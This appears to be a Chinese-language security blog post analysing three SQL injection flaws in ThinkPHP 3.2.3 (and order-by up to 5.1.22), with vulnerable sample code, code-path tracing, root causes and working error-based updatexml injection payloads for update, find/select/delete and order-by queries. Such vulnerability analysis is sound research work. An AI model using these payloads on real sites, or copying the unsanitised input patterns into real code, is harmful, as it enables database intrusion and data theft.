路漫漫其修远兮,吾将上下而求索

0%

think3.2.3 sql注入

update注入(<=3.2.3)

漏洞代码实例

1
$User=M('user');
2
$user['id']=I('id');
3
$data['name']=I('name');
4
$data['money']=I('money');
5
$res=$User->where($user)->save($data);

漏洞利用

1
?id[]=bind&id[1]=1%20and%20%20updatexml(1,concat(0x5b,(select%20user()),0x5d),1)
2
//UPDATE `user` SET `money`='0',`user`='' WHERE `id` = '' and updatexml(1,concat(0x5b,(select user()),0x5d),1)

漏洞流程

1
save($data,$options)->_parseOptions($Options)->update($data,$options)->parsewhere($option[$where])->parsewhereitem($key,$value)
  • $Options参数为空,但经过_parseOptions($Options)方法将参数中的id[]数组变为$where

  • 进入parsewhereitem()方法将id分为键值 如果id[0]==bind,则将id[1]拼接到

  • 如果id[0]==bind,则将id[1]拼接到 $whereStr .= $key.' = :'.$val[1];

  • :n表示更新的数组 data[n],可以结合sql语句闭合一下,有时不闭合也可以造成注入

  • 前面的exp变为

    1
    ?id[]=bind&id[1]=1%20and%20%20updatexml(1,concat(0x5b,(select%20user()),0x5d),1)&user=admin&money=11

    则语句则变成

    1
    UPDATE `user` SET `money`=11,`user`='admin' WHERE `id` = 11 and updatexml(1,concat(0x5b,(select user()),0x5d),1)
    2
    //id=:1 and updat.... 
    3
    //而 :1=data[1]=money=11

漏洞成因

经过_parseOptions($Options)方法将可控变量合并到$Options参数中

find_select_delete注入(<=3.2.3)

漏洞代码实例

  • 1
      $res=M('user')->find(I('id'));      //select * from user where id =1;
    2
      $res=M('user')->select(I('id'));
    3
    $res=M('user')->delete(I('id'));
  • 1
      delete 方法 第一个参数可外部控制时可注入
    2
      select 方法 第一个参数可外部控制时可注入
    3
      find 方法 第一个参数可外部控制时可注入
    4
      
    5
      Add 方法 第二个参数可外部控制时可注入
    6
      addAll 方法 第二个参数可外部控制时可注入
    7
    save 方法 第二个参数可外部控制时可注入

漏洞利用

1
?id[where]=1 and updatexml(1,concat(0x7b,(select user()),0x7d),1)
2
//[find/select]select * from user where id=1 and updatexml(1,concat(0x7b,(select user()),0x7d),1)
3
4
?id[table]=user%20where%20id=updatexml(1,concat(0x5b,(select%20user()),0x5d),1)
5
//[find/select]select * from user where id =updatexml(1,concat(0x5b,(select%20user()),0x5d),1)
6
7
?id[where]=id%3d3%20and%20updatexml(1,concat(0x5b,(select%20user()),0x5d),1)
8
//[delete]DELETE FROM `tp_member` WHERE id=3 and updatexml(1,concat(0x5b,(select user()),0x5d),1)

除了where 还可以利用其他方式

1
where,table,field,join,group,having....
2
//根据parseSql函数动态调试

漏洞成因

_parseOptions()方法执行了数组合并操作,将可控 options参数拼接到即将执行的sql语句参数中

1
if(is_array($options))
2
    $options =  array_merge($this->options,$options);

漏洞流程(find)

1
find($options=array())->select($options=array())->buildSelectSql($options)->parseSql($sql,$options=array());
1
//parseSql()
2
//$sql=SELECT%DISTINCT% %FIELD% FROM //%TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%
3
4
5
public function parseSql($sql,$options=array()){
6
        $sql   = str_replace(          array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
7
            array(
8
                $this->parseTable($options['table']),
9
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
10
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
11
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
12
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
13
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
14
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
15
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
16
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
17
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
18
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
19
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
20
                $this->parseForce(!empty($options['force'])?$options['force']:'')
21
            ),$sql);
22
        return $sql;
23
    }

将可控的options[‘where’]参数拼接到sql语句中

也可以使用其他的options值拼接,例如options[‘table’]

thinkphp3.2_find_select_delete注入

ord by 注入(<=3.2.3&<=5.1.22)

漏洞代码实例

1
$data=array();
2
$data['user']=array('eq','admin');
3
$order=I('get.order');
4
$res=M('user')->where($data)->order($order)->find();
5
ar_dump($res);

漏洞利用

1
?order[updatexml(1,concat(0x3a,(select%20user()),0x5d),1)%23]=1
2
//直接用order=updatexml(1,concat(0x3a,(select%20user()),0x5d),1)%23也行 亲测

执行的sql

1
SELECT * FROM `user` WHERE `user` = 'admin' ORDER BY updatexml(1,concat(0x3a,(select user()),0x5d),1)# 1 LIMIT 1

漏洞原因

ThinkPHP在处理order by排序时,当排序参数可控且为关联数组(key-value)时,由于框架未对数组中key值作安全过滤处理,攻击者可利用key构造SQL语句进行注入。